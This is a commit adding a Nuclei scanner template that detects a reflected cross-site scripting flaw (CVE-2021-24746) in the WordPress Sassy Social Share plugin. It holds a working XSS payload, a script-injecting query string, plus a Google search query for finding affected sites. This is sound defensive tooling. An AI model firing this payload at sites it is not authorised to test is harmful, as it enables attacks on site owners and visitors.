Merge pull request #4062 from projectdiscovery/princechaddha-patch-2

Create CVE-2021-24746.yaml
patch-1
Prince Chaddha 2022-04-06 10:01:53 +05:30 committed by GitHub
commit a36ad9c39e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 46 additions and 0 deletions

View File

@ -0,0 +1,46 @@
id: CVE-2021-24746
info:
name: WordPress Sassy Social Share Plugin - Reflected XSS
author: Supras
severity: medium
description: WP plugin Sassy Social Share < 3.3.40 - Reflected Cross-Site Scripting
reference:
- https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa
- https://nvd.nist.gov/vuln/detail/CVE-2021-24746
metadata:
google-query: 'inurl:"/wp-content/plugins/sassy-social-share"'
tags: cve,cve2021,wordpress,wp-plugin,xss,wp
requests:
- method: GET
path:
- "{{BaseURL}}/wp-json/wp/v2/posts"
- "{{BaseURL}}/{{slug}}/?a&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;"
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- '?a"><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
extractors:
- type: regex
part: body
name: slug
internal: true
group: 1
regex:
- '"slug":"([_a-z-A-Z0-9]+)",'